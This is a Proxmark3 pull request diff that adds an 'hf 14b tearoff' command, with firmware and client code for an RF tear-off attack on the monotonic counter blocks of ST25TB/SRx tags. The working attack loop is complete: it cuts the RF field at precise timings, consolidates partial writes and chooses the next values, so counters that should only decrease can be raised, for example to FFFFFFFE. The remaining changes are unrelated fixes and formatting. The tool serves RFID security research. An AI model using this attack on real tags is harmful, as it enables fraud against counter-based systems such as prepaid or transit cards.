Merge pull request #3124 from xNovyz/hf-14b-tearoff

Hf 14b tearoff
This commit is contained in:
Iceman
2026-03-14 10:52:32 +07:00
committed by GitHub
15 changed files with 839 additions and 60 deletions
+2
View File
@@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz)
- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz)
- Added `hf vas info` command (@kormax)
- Changed `wiegand encode` / `wiegand decode` - added support for encoding and decoding the new 96-bit ASN.1 encoded format, `--bin` encoding, verbose PACS encoding output, and explicit rejection of raw/binary decodes above 96 bits (@cindersocket)
- Added Mifare Classic support to `hf gallagher` command (@pingu2211)
+7 -3
View File
@@ -101,19 +101,19 @@ uint8_t g_tearoff_skip = 0;
int tearoff_hook(void) {
if (g_tearoff_enabled) {
if (g_tearoff_delay_us == 0) {
Dbprintf(_RED_("No tear-off delay configured!"));
if (g_dbglevel >= DBG_ERROR) Dbprintf(_RED_("No tear-off delay configured!"));
g_tearoff_enabled = false;
return PM3_SUCCESS; // SUCCESS = the hook didn't do anything
}
if (g_tearoff_skip > 0) {
Dbprintf(_GREEN_("Tear-off skipped!"));
if (g_dbglevel >= DBG_INFO) Dbprintf(_GREEN_("Tear-off skipped!"));
g_tearoff_skip--;
return PM3_SUCCESS; // SUCCESS = the hook didn't do anything
}
SpinDelayUsPrecision(g_tearoff_delay_us);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
g_tearoff_enabled = false;
if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!"));
if (g_dbglevel >= DBG_INFO) Dbprintf(_YELLOW_("Tear-off triggered!"));
return PM3_ETEAROFF;
} else {
return PM3_SUCCESS; // SUCCESS = the hook didn't do anything
@@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) {
setHf14bConfig(&c);
break;
}
case CMD_HF_ISO14443B_ST25TB_TEAROFF: {
ST25TB_TearOff(packet->data.asBytes);
break;
}
case CMD_HF_CRYPTORF_SIM : {
// simulate_crf_tag();
break;
+4
View File
@@ -630,6 +630,10 @@ int FpgaGetCurrent(void) {
return downloaded_bitstream;
}
void FpgaResetBitstream(void) {
downloaded_bitstream = FPGA_BITSTREAM_UNKNOWN;
}
// Turns off the antenna,
// log message
// if HF, Disable SSC DMA
+1
View File
@@ -172,6 +172,7 @@ void SetupSpi(int mode);
bool FpgaSetupSscDma(uint8_t *buf, uint16_t len);
void Fpga_print_status(void);
int FpgaGetCurrent(void);
void FpgaResetBitstream(void);
void SetAdcMuxFor(uint32_t whichGpio);
// extern and generel turn off the antenna method
+5 -5
View File
@@ -2746,7 +2746,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
uint32_t start_time = 0;
uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key
uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs
if (msg->credit_recovery == true){
if (msg->credit_recovery == true) {
read_check_cc[0] = 0x80 | ICLASS_CMD_READCHECK; //still block 24 but with debit key
}
@@ -2799,7 +2799,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
//Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration
read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2
if (msg->credit_recovery == true){
if (msg->credit_recovery == true) {
read_check_cc[1] = hdr.conf.app_limit - 1; //last block of AA1
}
//Step1 Authenticate with AA1 using trace
@@ -2928,7 +2928,7 @@ void iClass_Recover(iclass_recover_req_t *msg) {
uint8_t wb[9] = {0};
uint8_t blockno = 3;
if (msg->credit_recovery == true){
if (msg->credit_recovery == true) {
blockno = 4;
}
wb[0] = blockno;
@@ -3080,8 +3080,8 @@ fast_restore:
uint8_t mac2[4] = {0};
uint8_t wb[9] = {0};
uint8_t blockno = 3;
if (msg->credit_recovery == true){
blockno = 4;
if (msg->credit_recovery == true) {
blockno = 4;
}
wb[0] = blockno;
bool reverted = false;
+469
View File
@@ -1379,10 +1379,23 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t
LED_D_ON();
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_RECEIVE_IQ);
uint32_t wait_start_time = GetTickCount();
for (;;) {
volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1);
if (behindBy == 0) {
WDT_HIT();
if (BUTTON_PRESS()) {
ret = PM3_EOPABORTED;
break;
}
// Failsafe: if the FPGA SSC clock drops completely, DMA will freeze eternally.
// We use the ARM's main tick counter (1ms) instead of the SSP clock.
if (samples == 0 && GetTickCountDelta(wait_start_time) > 200) {
ret = PM3_ETIMEOUT;
break;
}
continue;
}
@@ -2609,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) {
g_trigger = enable;
}
//=============================================================================
// ST25TB COUNTER TEAR-OFF IMPLEMENTATION
// Ported from near-field-chaos / hf_st25_tearoff standalone
//=============================================================================
// Tear-off constants
#define TEAROFF_INITIAL_DELAY_US 150
#define TEAROFF_MIN_DELAY_US 0
#define TEAROFF_ADJUSTMENT_US_DEF 25
#define TEAROFF_WRITE_RETRY_COUNT 30
#define TEAROFF_CONSOLIDATE_READS 6
#define TEAROFF_CONSOLIDATE_WAIT_RD 2
#define TEAROFF_CONSOLIDATE_WAIT_MS 2000
// Bit manipulation macros
#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index)))
#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index))
// Simple PRNG for randomization in tear-off value selection
static unsigned long s_tearoff_prng_seed = 1;
static int tearoff_rand(void) {
s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345;
return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768;
}
// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated).
// This is MUCH faster than full iso14443b_setup() since it skips:
// - FpgaDownloadAndGo (bitstream already cached)
// - BigBuf_free + BigBuf_calloc (demod buffers persist)
// - 100ms field stabilization (tag only needs ~20ms to power up)
static void tearoff_field_on(void) {
// Re-enable reader mode
SetAdcMuxFor(GPIO_MUXSEL_HIPKD);
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER);
#ifdef RDV4
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4);
#else
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD);
#endif
// Brief field stabilization — tag needs ~5-15ms to power on from RF
SpinDelay(20);
Demod14bReset();
Uart14bReset();
StartCountSspClk();
iso14b_set_fwt(8);
s_field_on = true;
}
static void tearoff_field_off(void) {
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
s_field_on = false;
// CRITICAL: When interrupting an active EEPROM write, the tag's charge pump
// is active. We MUST wait several milliseconds with the field fully OFF to
// drain the tag's capacitor. If we turn the field back on too quickly, the
// tag's Power-On Reset (POR) circuit won't trigger and the tag becomes
// digitally latched-up/unresponsive until physically removed.
SpinDelay(10);
}
static void tearoff_exit(void) {
g_tearoff_enabled = false;
g_tearoff_delay_us = 0;
// Force a full FPGA bitstream reload on the next HF command.
// After hundreds of rapid field on/off cycles, the FPGA's internal
// state machine (SSC/DMA) can become corrupted even though its bitstream
// is technically loaded. Invalidating the cache forces FpgaDownloadAndGo()
// to do a complete re-initialization next time.
FpgaResetBitstream();
switch_off();
SpinDelay(20);
BigBuf_free_keep_EM();
s_field_on = false;
}
// Read a single ST25TB/SRx block with lightweight field cycle
static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) {
int res;
iso14b_card_select_t card;
tearoff_field_on();
res = iso14443b_select_srx_card(&card);
if (res != PM3_SUCCESS) {
tearoff_field_off();
return res;
}
uint8_t block[ISO14B_BLOCK_SIZE];
res = read_14b_srx_block(block_address, block);
if (res == PM3_SUCCESS) {
*block_value = (uint32_t)block[0] |
((uint32_t)block[1] << 8) |
((uint32_t)block[2] << 16) |
((uint32_t)block[3] << 24);
}
tearoff_field_off();
return res;
}
// Low-level write command (no response expected for SRx write)
static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) {
uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00};
AddCrc14B(cmd, 6);
uint32_t start_time = 0;
uint32_t eof_time = 0;
CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true);
return PM3_SUCCESS;
}
// Write a block then cut RF at precise timing for tear-off effect
static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) {
uint8_t block[ISO14B_BLOCK_SIZE];
block[0] = (data & 0xFF);
block[1] = (data >> 8) & 0xFF;
block[2] = (data >> 16) & 0xFF;
block[3] = (data >> 24) & 0xFF;
tearoff_field_on();
iso14b_card_select_t card;
int res = iso14443b_select_srx_card(&card);
if (res != PM3_SUCCESS) {
tearoff_field_off();
return;
}
g_tearoff_enabled = true;
g_tearoff_delay_us = tearoff_delay_us;
tearoff_cmd_write_block(block_address, block);
if (tearoff_hook() == PM3_ETEAROFF) {
s_field_on = false;
// CRITICAL: When interrupting an active EEPROM write, the tag's charge pump
// is active. We MUST wait several milliseconds with the field fully OFF to
// drain the tag's capacitor. If we turn the field back on too quickly, the
// tag's Power-On Reset (POR) circuit won't trigger and the tag becomes
// digitally latched-up/unresponsive until physically removed.
SpinDelay(10);
} else {
// Fallback if hook didn't trigger for some reason
tearoff_field_off();
}
}
// Write then verify with retries
static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value,
uint32_t max_try_count, int sleep_time_ms,
uint32_t *read_back_value) {
uint32_t i = 0;
*read_back_value = ~target_value;
while (*read_back_value != target_value && i < max_try_count) {
tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
tearoff_read_block(block_address, read_back_value);
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
i++;
}
return (*read_back_value == target_value) ? 0 : -1;
}
// Check if a value is stable (consolidated) across multiple reads
static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value,
int repeat_read, int sleep_time_ms,
uint32_t *read_value) {
int result;
for (int i = 0; i < repeat_read; i++) {
if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000);
result = tearoff_read_block(block_address, read_value);
if (result != 0 || value != *read_value) {
return -1;
}
}
return 0;
}
// Consolidate a block to a stable state with decrement writes
static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value,
uint32_t target_value, uint32_t *read_back_value) {
int8_t result;
uint32_t consolidation_value;
if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) {
consolidation_value = target_value + 2;
} else {
consolidation_value = current_value;
}
result = tearoff_retry_write_verify(block_address, consolidation_value - 1,
TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value);
if (result != 0) {
Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1);
return -1;
}
if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) {
result = tearoff_retry_write_verify(block_address, consolidation_value - 2,
TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value);
if (result != 0) {
Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2);
return -1;
}
}
if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) {
result = tearoff_is_consolidated(block_address, *read_back_value,
TEAROFF_CONSOLIDATE_READS, 0, read_back_value);
if (result == 0) {
result = tearoff_is_consolidated(block_address, *read_back_value,
TEAROFF_CONSOLIDATE_WAIT_RD,
TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value);
if (result != 0) {
Dbprintf("Consolidation failed stability check (long wait)");
return -1;
}
} else {
Dbprintf("Consolidation failed stability check (short wait)");
return -1;
}
}
return 0;
}
// Calculate next value to attempt for tear-off write
static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) {
uint32_t value = 0;
int8_t index = 31;
if (current_value < 0x0000FFFF) {
return (current_value > 0) ? current_value - 1 : 0;
}
while (index >= 0) {
if (value == 0 && IS_ONE_BIT_T(current_value, index)) {
value = 0xFFFFFFFF >> (31 - index);
index--;
}
if (value != 0 && IS_ZERO_BIT_T(current_value, index)) {
index++;
value &= ~((uint32_t)1 << index);
if (randomness && value < 0xF0000000 && index > 1) {
value ^= ((uint32_t)1 << (tearoff_rand() % index));
}
return value;
}
index--;
}
return (current_value > 0) ? current_value - 1 : 0;
}
// Adjust tear-off timing
static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) {
*tear_off_us -= tear_off_adjustment_us;
if (*tear_off_us < TEAROFF_MIN_DELAY_US) {
*tear_off_us = TEAROFF_MIN_DELAY_US;
}
}
// Log tear-off attempt with binary representation
static void tearoff_log(int tear_off_us, const char *color, uint32_t value) {
char bin[33];
for (int i = 31; i >= 0; i--) {
bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0';
}
bin[32] = '\0';
Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us);
}
// Payload structure for tear-off command
typedef struct {
uint8_t block_address;
uint32_t target_value;
uint32_t tear_off_adjustment_us;
uint32_t safety_value;
uint32_t start_time_us;
} PACKED st25tb_tearoff_params_t;
// Main ST25TB tear-off function, called from appmain.c
void ST25TB_TearOff(const uint8_t *data) {
const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data;
uint8_t block_address = params->block_address;
uint32_t target_value = params->target_value;
uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us;
uint32_t safety_value = params->safety_value;
uint32_t start_time_us = params->start_time_us;
int result;
bool trigger = true;
uint32_t read_value = 0;
uint32_t current_value = 0;
uint32_t last_consolidated_value = 0;
uint32_t tear_off_value = 0;
// Start delay: user-specified or default TEAROFF_INITIAL_DELAY_US (150 us)
int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US;
if (tear_off_adjustment_us == 0) {
tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF;
}
// One-time full setup: loads FPGA bitstream, allocates demod buffers,
// configures ADC mux and SSC. All subsequent field cycles use the
// lightweight tearoff_field_on/off which skip the heavy initialization.
iso14443b_setup();
set_tracing(true);
tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on
// Initial read
result = tearoff_read_block(block_address, &current_value);
if (result != PM3_SUCCESS) {
Dbprintf("Initial read failed for block %d", block_address);
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0);
tearoff_exit();
return;
}
tear_off_value = tearoff_next_value(current_value, false);
Dbprintf("");
Dbprintf(_CYAN_("ST25TB Tear-off counter attack"));
Dbprintf("------------------------------");
Dbprintf(" Target block: %d", block_address);
Dbprintf("Current value: 0x%08X", current_value);
Dbprintf(" Target value: 0x%08X", target_value);
Dbprintf(" Safety value: 0x%08X", safety_value);
Dbprintf("Adjustment us: %u", tear_off_adjustment_us);
Dbprintf("");
if (current_value == target_value) {
Dbprintf(_GREEN_("Current value already matches target."));
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)&current_value, sizeof(current_value));
tearoff_exit();
return;
}
if (tear_off_value == 0 && current_value != 0) {
Dbprintf("Tear-off technique not possible from current value.");
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0);
tearoff_exit();
return;
}
// Main tear-off loop
uint32_t loop_count = 0;
int consecutive_read_fails = 0;
for (;;) {
WDT_HIT();
loop_count++;
// Send WTX keepalive every ~500 iterations to prevent USB timeout
// Each iteration takes ~1-10ms (select + write + read), so this
// fires roughly every 1-5 seconds. We request 10s extension each time.
if ((loop_count % 500) == 0) {
send_wtx(10000);
}
// Check for user abort (button press or USB data)
if (BUTTON_PRESS() || data_available()) {
Dbprintf("Tear-off stopped by user.");
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)&current_value, sizeof(current_value));
tearoff_exit();
return;
}
// Safety check
if (tear_off_value < safety_value) {
Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)",
tear_off_value, safety_value);
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)&current_value, sizeof(current_value));
tearoff_exit();
return;
}
// Perform tear-off write attempt
tearoff_write_block(block_address, tear_off_value, tear_off_us);
// Read back
result = tearoff_read_block(block_address, &read_value);
if (result != 0) {
consecutive_read_fails++;
if (consecutive_read_fails > 10) {
Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails);
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)&current_value, sizeof(current_value));
tearoff_exit();
return;
}
tear_off_us++;
continue; // Retry if read fails
}
consecutive_read_fails = 0;
// Analyze result
if (read_value > current_value) {
// Partial write success (tear-off glitch worked)
if (read_value >= 0xFFFFFFFE ||
(read_value - 2) > target_value ||
read_value != last_consolidated_value ||
((read_value & 0xF0000000) > (current_value & 0xF0000000))) {
result = tearoff_consolidate_block(block_address, read_value,
target_value, &current_value);
if (result == 0 && current_value == target_value) {
tearoff_log(tear_off_us, "\033[32m", read_value);
Dbprintf("");
Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value);
reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)&current_value, sizeof(current_value));
tearoff_exit();
return;
}
if (read_value != last_consolidated_value) {
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
}
last_consolidated_value = read_value;
tear_off_value = tearoff_next_value(current_value, false);
trigger = true;
tearoff_log(tear_off_us, "\033[32m", read_value);
}
} else if (read_value == tear_off_value) {
// Full write went through (no tear-off effect)
if (trigger) {
tear_off_value = tearoff_next_value(tear_off_value, true);
trigger = false;
} else {
tear_off_value = tearoff_next_value(read_value, false);
trigger = true;
}
current_value = read_value;
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
tearoff_log(tear_off_us, "\033[34m", read_value);
} else if (read_value < tear_off_value) {
// Partial write but went lower
tear_off_value = tearoff_next_value(read_value, false);
tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us);
current_value = read_value;
trigger = true;
tearoff_log(tear_off_us, "\033[31m", read_value);
}
// Increment timing for next attempt
tear_off_us++;
}
}
void SendRawCommand14443B(iso14b_raw_cmd_t *p) {
// turn on trigger (LED_A)
+1
View File
@@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block);
int iso14443b_select_srx_card(iso14b_card_select_t *card);
void SniffIso14443b(void);
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
void ST25TB_TearOff(const uint8_t *data);
void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing);
// 14b config
+130
View File
@@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) {
return PM3_SUCCESS;
}
static int CmdHF14BSriTearoff(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf 14b tearoff",
"Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n"
"This exploits EEPROM tearing to increment counters that normally can only\n"
"be decremented. Based on the near-field-chaos project by SecLabz.\n"
"\n"
"The attack works by sending a write command and cutting the RF field at\n"
"a precise moment, causing a partial write that can raise the counter value.\n"
"The operation usually takes a few seconds to a few minutes.\n"
"\n"
" NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n"
" Keep the tag positioned steadily on the antenna.\n",
"hf 14b tearoff -b 5 -d FFFFFFFE\n"
"hf 14b tearoff -b 6 -d FFFFFFFE\n"
"hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n"
"hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n"
);
void *argtable[] = {
arg_param_begin,
arg_int1("b", "block", "<dec>", "block number (typically 5 or 6 for ST25TB counters)"),
arg_str1("d", "data", "<hex>", "target counter value (4 hex bytes, e.g. FFFFFFFE)"),
arg_int0(NULL, "adj", "<dec>", "tear-off timing step in us (default: 25)"),
arg_int0(NULL, "safety", "<dec>", "safety threshold value (default: 0x1000)"),
arg_int0(NULL, "start", "<dec>", "initial tear-off delay in us (default: 150)"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int blockno = arg_get_int_def(ctx, 1, -1);
int dlen = 0;
uint8_t data[4] = {0};
int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen);
if (res) {
CLIParserFree(ctx);
return PM3_EINVARG;
}
int adj = arg_get_int_def(ctx, 3, 0);
int safety = arg_get_int_def(ctx, 4, 0x1000);
int start = arg_get_int_def(ctx, 5, 0);
CLIParserFree(ctx);
if (dlen != 4) {
PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen);
return PM3_EINVARG;
}
if (blockno < 0 || blockno > 255) {
PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno);
return PM3_EINVARG;
}
// Convert data bytes to uint32_t (little-endian as per ST25TB convention)
uint32_t target_value = (uint32_t)data[0] << 24 |
(uint32_t)data[1] << 16 |
(uint32_t)data[2] << 8 |
(uint32_t)data[3];
PrintAndLogEx(INFO, "");
PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------");
PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno);
PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value);
PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150);
PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25);
PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety);
PrintAndLogEx(INFO, "");
PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort");
PrintAndLogEx(INFO, "");
// Build payload (must match st25tb_tearoff_params_t on ARM side)
struct {
uint8_t block_address;
uint32_t target_value;
uint32_t tear_off_adjustment_us;
uint32_t safety_value;
uint32_t start_time_us;
} PACKED payload;
payload.block_address = (uint8_t)blockno;
payload.target_value = target_value;
payload.tear_off_adjustment_us = (uint32_t)adj;
payload.safety_value = (uint32_t)safety;
payload.start_time_us = (uint32_t)start;
clearCommandBuffer();
SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload));
// Wait for response with generous timeout.
// The ARM side sends periodic CMD_WTX keepalive packets to extend
// the timeout, so the attack can run as long as needed.
// Use -1 for infinite wait (extended via WTX), abort with Enter key.
PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) {
PrintAndLogEx(WARNING, "command failed or connection lost");
return PM3_ETIMEOUT;
}
if (resp.status == PM3_SUCCESS) {
uint32_t final_value = 0;
if (resp.length >= sizeof(uint32_t)) {
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
}
PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful"));
PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value);
} else if (resp.status == PM3_EOPABORTED) {
uint32_t final_value = 0;
if (resp.length >= sizeof(uint32_t)) {
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
}
PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user"));
PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value);
} else {
PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed"));
if (resp.length >= sizeof(uint32_t)) {
uint32_t final_value = 0;
memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t));
PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value);
}
}
PrintAndLogEx(INFO, "");
PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno);
return PM3_SUCCESS;
}
static int CmdHF14BSetUID(const char *Cmd) {
CLIParserContext *ctx;
@@ -3288,6 +3417,7 @@ static command_t CommandTable[] = {
{"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"},
{"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"},
{"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"},
{"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"},
{"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"},
{"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"},
{"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"},
+15 -15
View File
@@ -1577,11 +1577,11 @@ static int aliro_read_do_auth0(aliro_read_state_t *state,
uint8_t auth0_data[ALIRO_MAX_BUFFER] = {0};
size_t auth0_data_len = 0;
if (aliro_append_tlv(0x41, &state->auth0_command_parameters, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x42, (const uint8_t[]){ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) {
aliro_append_tlv(0x42, (const uint8_t[]) {ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to encode AUTH0 command");
return PM3_ESOFT;
}
@@ -1787,10 +1787,10 @@ static int aliro_read_do_auth1(aliro_read_state_t *state,
uint8_t auth1_data[ALIRO_MAX_BUFFER] = {0};
size_t auth1_data_len = 0;
if (aliro_append_tlv(0x41, (const uint8_t[]){ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1,
auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x9E, auth1_signature, 64,
auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) {
if (aliro_append_tlv(0x41, (const uint8_t[]) {ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1,
auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS ||
aliro_append_tlv(0x9E, auth1_signature, 64,
auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) {
PrintAndLogEx(ERR, "Failed to encode AUTH1 command");
return PM3_ESOFT;
}
@@ -2041,7 +2041,7 @@ static int aliro_parse_step_up_scopes(struct arg_str *scope_arg, aliro_step_up_s
char *saveptr = NULL;
char *token = strtok_r(scope_str, ",", &saveptr);
while (token != NULL) {
while (isspace((unsigned char)*token)) {
while (isspace((unsigned char) * token)) {
token++;
}
@@ -3539,11 +3539,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l
aliro_read_print_auth1_report(&state);
have_fast_suggestion_cmd = aliro_read_build_fast_suggestion_command(&state,
reader_group_identifier,
reader_group_sub_identifier,
reader_private_key_raw,
fast_suggestion_cmd,
sizeof(fast_suggestion_cmd));
reader_group_identifier,
reader_group_sub_identifier,
reader_private_key_raw,
fast_suggestion_cmd,
sizeof(fast_suggestion_cmd));
if (flow == ALIRO_FLOW_STEP_UP) {
res = aliro_read_do_step_up(&state, step_up_scopes);
+11 -11
View File
@@ -506,8 +506,8 @@ static const char *felica_specification_option_name(size_t option_index) {
}
static void print_specification_versions(int level,
const felica_request_specification_version_info_t *specification_version_info,
bool include_hex) {
const felica_request_specification_version_info_t *specification_version_info,
bool include_hex) {
if (specification_version_info == NULL || specification_version_info->has_specification_version == false) {
return;
}
@@ -867,7 +867,7 @@ static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t
}
static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose,
